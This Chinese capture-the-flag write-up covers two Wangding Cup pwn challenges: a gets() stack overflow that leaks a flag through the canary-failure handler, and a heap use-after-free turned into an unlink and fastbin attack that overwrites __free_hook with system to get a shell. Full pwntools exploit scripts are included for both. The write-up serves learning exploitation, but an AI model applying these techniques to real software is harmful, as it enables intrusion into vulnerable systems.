网鼎杯第一场 writeup

0x01 Guess

  • 程序功能
    程序先将flag读入内存中,然后与用户输入相比较,程序会fork三次,在三次之后还猜不对则退出。

  • 漏洞位置
    在用户输入flag时,是用gets()进行输入,此处存在栈溢出

    vul

  • 利用思路
    程序开了canary,存在栈溢出,并且把flag读到了内存中,我们可以考虑触发__stack_check_fail的异常处理链将内存中的flag打印出来,由于没有固定的地址,存在于栈中,所以要先leak栈地址,最后算出偏移将flag打印出来。

    checksec

libc中有个environ指针指向存放环境变量的地址(栈上面),可通过此指针leak出栈地址。

environ

  • my-exp
from pwn import *
local = 1

if local:
    p = process('./GUESS')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up!'

def guess(flag):
    flag = p64(0) * 37 + flag
    p.recvuntil('Please type your guessing flag\n')
    p.sendline(flag)
    p.recvuntil('***: ')
    return p.recvuntil(' ter')[:-4]

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./GUESS')
#step1 leak libc_base
gets_got = elf.got['gets']
success('gets_got => ' + hex(gets_got))
libc.address = u64(guess(p64(gets_got)) + '\x00' * 2) - libc.symbols['gets']
success('libc_base => ' + hex(libc.address))

#step2 leak environ_addr on the stack
environ_addr_ptr = libc.symbols['environ']
environ_addr= u64(guess(p64(environ_addr_ptr)) + '\x00' * 2)
success('environ_addr => ' + hex(environ_addr))

#step3 calc the offset of flag
print guess(p64(environ_addr - 0x168))

0x02 babyheap

  • 程序功能
    可申请最多10次的大小为0x20chunk,最多可edit 3chunk中的内容。

  • 漏洞位置
    free后不清空指针使.bss上存在Dangling ptr

    free

    edit时不会检查是否已经free可造成uaf
    edit

  • 利用思路
    因为只能edit3次,所以每次edit都要很精确。先利用连在一起的fastbin中构造出一个unlink的结构,并顺带leakheap_base第一次edit,在堆上构造fastbin attack,使在数组中出现触发unink的指针。第二次edit,写自身为free_hook第三次edit,将free_hook写为system但是!我死活没有leaklibc基址,从而无法在第二次将自身写为free_hook,也刚好无法写到limit的位置,于是我想了个骚操作绕了一大圈(下见被三个引号注释的脚本):将本该存堆指针的地方重新伪造个0x31来做fastbin attack,这样我就可以通过add来修改limit甚至修改可以索引到的指针来搞很多事情,虽然我只需要将leak一下libc基址,然后再写自身就行了。当时做出来的时候我觉得我简直是个天才,然后看了别人的writeup发现我简直是个傻逼,既然已经unlink获得了写自己的指针,第二次edit的时候把指针下移,第三次edit就可以直接改limit了。(下见未注释的脚本)。

unlink时只需满足free堆块的size不在fastbin范围内,进行unlink的堆块的size无所谓。unlink后产生的指向自己上面的指针可以有大作用,不要想的太死板了。

  • my-exp
from pwn import *

local = 1

if local:
    p = process('./babyheap')
    elf = ELF('./babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'Time is up!'

def add(index , content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

def edit(index , content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

def show(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    return p.recvuntil('Done!')[:-6]

def free(index):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Done!')

def debug():
    print pidof(p)[0]
    raw_input()

free_got = elf.got['free']
success('free_got => ' + hex(free_got))

sleep(5)

#leak heap_base
ptr = 0x6020a8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
fake_unlink = p64(0) + p64(0xb1) + p64(fake_fd) + p64(fake_bk)
fake_head = p64(0xb0) + p64(0x90)
add(9 , fake_unlink[:-1])
add(1 , '1' * 0x1f)
add(2 , '2' * 0x1f)
add(3 , '3' * 0x18 + '1')
add(4 , '4' * 0x19)
free(1)
free(2)
heap_base = u64(show(2).ljust(8 , '\x00')) - 0x30
success('heap_base => ' + hex(heap_base))

#unlink
fake_fastbin = heap_base + 0xb0
edit(2 , p64(fake_fastbin))
add(5 , '5' * 0x8)
add(6 , fake_head)
add(7 , '7' * 0x1f)
add(8 , '8' * 0x1f)
add(0 , '0' * 0x1f)
free(4)

#leak libc_base
payload = p64(free_got) + p64(0) * 2 + p64(0x6020a0)
edit(9 , payload[:-1])
libc.address = u64(show(6).ljust(8 , '\x00')) - libc.symbols['free']
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))

#break limit and change free_hook to system
payload2 = p64(0) + p64(free_hook) + p64(4)
edit(9 , payload2[:-1])
edit(9 , p64(system_addr))

#get shell
add(8 , '/bin/sh')
p.sendline('4')
p.sendline('8')

'''
#make a fastbin attack to .bss
free(8)
bss_fastbin = 0x602090
edit(8 , p64(bss_fastbin))
bss_head = p64(0) + p64(0x31) + p64(0)
edit(9 , bss_head[:-1])
add(6 , '/bin/sh')

#leak libc_base and change limit
payload = p64(free_got) + p64(bss_fastbin) + p64(4)
add(8 , payload)
libc.address = u64(show(8).ljust(8 , '\x00')) - libc.symbols['free']
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))

#change free_hook to system
payload = p64(heap_base + 0x130) + p64(0) + p64(0) + p64(free_hook)
edit(9 , payload[:-1])
edit(9 , p64(system_addr)[:-1])
p.sendline('4')
p.sendline('6')
'''

#debug()
p.interactive()

0x03 blind

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容